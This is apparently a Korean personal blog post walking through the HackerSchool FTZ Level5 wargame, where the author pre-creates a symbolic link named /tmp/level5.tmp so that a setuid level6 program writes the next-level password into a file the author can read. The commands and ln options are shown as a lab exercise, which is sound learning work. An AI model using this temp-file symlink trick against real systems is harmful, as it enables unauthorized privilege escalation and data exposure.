e_yejun
Jun_ : Pwn
e_yejun
전체 방문자
오늘
어제
  • 분류 전체보기 (240)
    • Profile (1)
    • Pwnable (54)
    • Reversing (14)
    • Network (8)
    • Forensic (10)
    • Embedded (4)
    • Android (2)
    • Web (18)
    • 알고리즘 (42)
    • 프로그래밍 (24)
    • 프로젝트 (6)
    • 1-day (7)
    • CTF (15)
    • 기타 (33)
    • 일기장 (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • rev-basic
  • X86
  • dvwa
  • how2heap
  • dreamhack.io
  • wargame
  • Heap
  • BOF
  • x64
  • 1-day

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
e_yejun

Jun_ : Pwn

Pwnable

[HackerSchool] FTZ Level5 풀이

2019. 12. 2. 18:33

ID : level5

PW : what is your name?

 

 

Level5 접속!

 

 

[level5@ftz level5]$ ls -al
total 80
drwxr-xr-x    4 root     level5       4096 May  7  2002 .
drwxr-xr-x   34 root     root         4096 Sep 10  2011 ..
-rw-------    1 root     root            1 Jan 15  2010 .bash_history
-rw-r--r--    1 root     root           24 Feb 24  2002 .bash_logout
-rw-r--r--    1 root     root          224 Feb 24  2002 .bash_profile
-rw-r--r--    1 root     root          151 Feb 24  2002 .bashrc
-rw-r--r--    1 root     root          400 Sep 24  2000 .cshrc
-rw-r--r--    1 root     root         4742 Sep 24  2000 .emacs
-r--r--r--    1 root     root          319 Sep 24  2000 .gtkrc
-rw-r--r--    1 root     root          100 Sep 24  2000 .gvimrc
-rw-r--r--    1 root     root          129 Mar 23  2000 hint
-rw-r--r--    1 root     root          226 Sep 24  2000 .muttrc
-rw-r--r--    1 root     root          367 Sep 24  2000 .profile
drwxr-xr-x    2 root     level5       4096 Feb 24  2002 public_html
drwxrwx---    2 root     level5       4096 Jan 16  2009 tmp
-rw-r--r--    1 root     root            1 May  7  2002 .viminfo
-rw-r--r--    1 root     root         4145 Sep 24  2000 .vimrc
-rw-r--r--    1 root     root          245 Sep 24  2000 .Xdefaults

 

 

힌트 파일을 읽습니다.

 

 

[level5@ftz level5]$ cat hint

/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.

이를 이용하여 level6의 권한을 얻어라.

 

 

파일을 확인해봅시다.

 

 

[level5@ftz bin]$ cd
[level5@ftz level5]$ cd /usr/bin
[level5@ftz bin]$ ls -al level5
-rws--x---    1 level6   level5      12236 Sep 10  2011 level5

 

 

level6의 SetUID가 걸려있는 것을 알 수 있네요.

 

 

 

파일을 실행하고 힌트대로 /tmp의 level5.tmp 파일이 생성됐는지 확인해봅시다.

 

[level5@ftz bin]$ ./level5
[level5@ftz bin]$ cd /tmp
[level5@ftz tmp]$ ls -al
total 8
drwxrwxrwt    2 root     root         4096 Dec  2 18:12 .
drwxr-xr-x   20 root     root         4096 Dec  2 17:58 ..
srwxrwxrwx    1 mysql    mysql           0 Dec  2 17:59 mysql.sock

 

 

 

아무 것도 없네요.

임시 파일이 생성되고, 프로그램 종료 직전에 삭제된다는 것을 생각할 수 있습니다.

파일이 삭제되기 전에 임시파일의 내용을 알아낸다면 문제를 풀 수 있을 것 같습니다.

 

 

 

*심볼릭 링크(Symbolic Link)

  파일을 가르키는 또 다른 파일을 말하는 것으로 윈도우의 바로가기와 비슷한 개념이다.

 

  명령어 : ln [옵션] [원본파일] [대상파일]

 

ln 명령어 옵션

-b : 링크파일 생성시에 대상파일이 이미 존재하면 백업파일을 만든 후에 링크파일을 생성합니다.

-d : 디렉토리에 대한 하드링크파일생성을 가능하게 합니다.

-f : 대상파일이 존재할 경우에 대상파일을 지우고 링크파일을 생성합니다.

-i : 대상파일이 존재할 경우에 대상파일을 지울건인가를 확인요청합니다.

-t : 링크파일을 생성할 디렉토리를 지정합니다.

-s : 심볼릭링크 생성

 

 

파일을 만들고 그 파일에 level5.tmp의 심볼릭 링크를 걸어주면 level5.tmp 파일이 지워지기 전에 만든 파일에 내용이 담겨져 있을 것입니다.

바로 해봅시다.

 

 

[level5@ftz tmp]$ touch file
[level5@ftz tmp]$ ls -al
total 8
drwxrwxrwt    2 root     root         4096 Dec  2 18:21 .
drwxr-xr-x   20 root     root         4096 Dec  2 17:58 ..
-rw-rw-r--    1 level5   level5          0 Dec  2 18:21 file
srwxrwxrwx    1 mysql    mysql           0 Dec  2 17:59 mysql.sock

 

 

파일을 생성한 후

ln 명령어를 이용해서 심볼릭 링크가 걸린 level5.tmp 파일 생성

 

 

[level5@ftz tmp]$ ln -s file level5.tmp
[level5@ftz tmp]$ ls -al
total 8
drwxrwxrwt    2 root     root         4096 Dec  2 18:23 .
drwxr-xr-x   20 root     root         4096 Dec  2 17:58 ..
-rw-rw-r--    1 level5   level5          0 Dec  2 18:21 file
lrwxrwxrwx    1 level5   level5          4 Dec  2 18:23 level5.tmp -> file
srwxrwxrwx    1 mysql    mysql           0 Dec  2 17:59 mysql.sock

 

 

이제 /usr/bin/level5 파일을 실행해봅시다.

 

 

[level5@ftz tmp]$ /usr/bin/level5 
[level5@ftz tmp]$ ls -al
total 12
drwxrwxrwt    2 root     root         4096 Dec  2 18:23 .
drwxr-xr-x   20 root     root         4096 Dec  2 17:58 ..
-rw-rw-r--    1 level5   level5         31 Dec  2 18:25 file
lrwxrwxrwx    1 level5   level5          4 Dec  2 18:23 level5.tmp -> file
srwxrwxrwx    1 mysql    mysql           0 Dec  2 17:59 mysql.sock

 

 

 

file의 용량이 0바이트에서 31바이트로 바뀐 것을 볼 수 있습니다.

바로 읽어봅시다.

 

 

[level5@ftz tmp]$ cat file
next password : 

 

 

 

clear!

다음 레벨로 가봅시다. :)

 

 

    'Pwnable' 카테고리의 다른 글
    • [HackerSchool] FTZ Level7 풀이
    • [HackerSchool] FTZ Level6 풀이
    • [HackerSchool] FTZ Level4 풀이
    • [HackerSchool] FTZ Level3 풀이
    e_yejun
    e_yejun
    정리노트 •_•

    티스토리툴바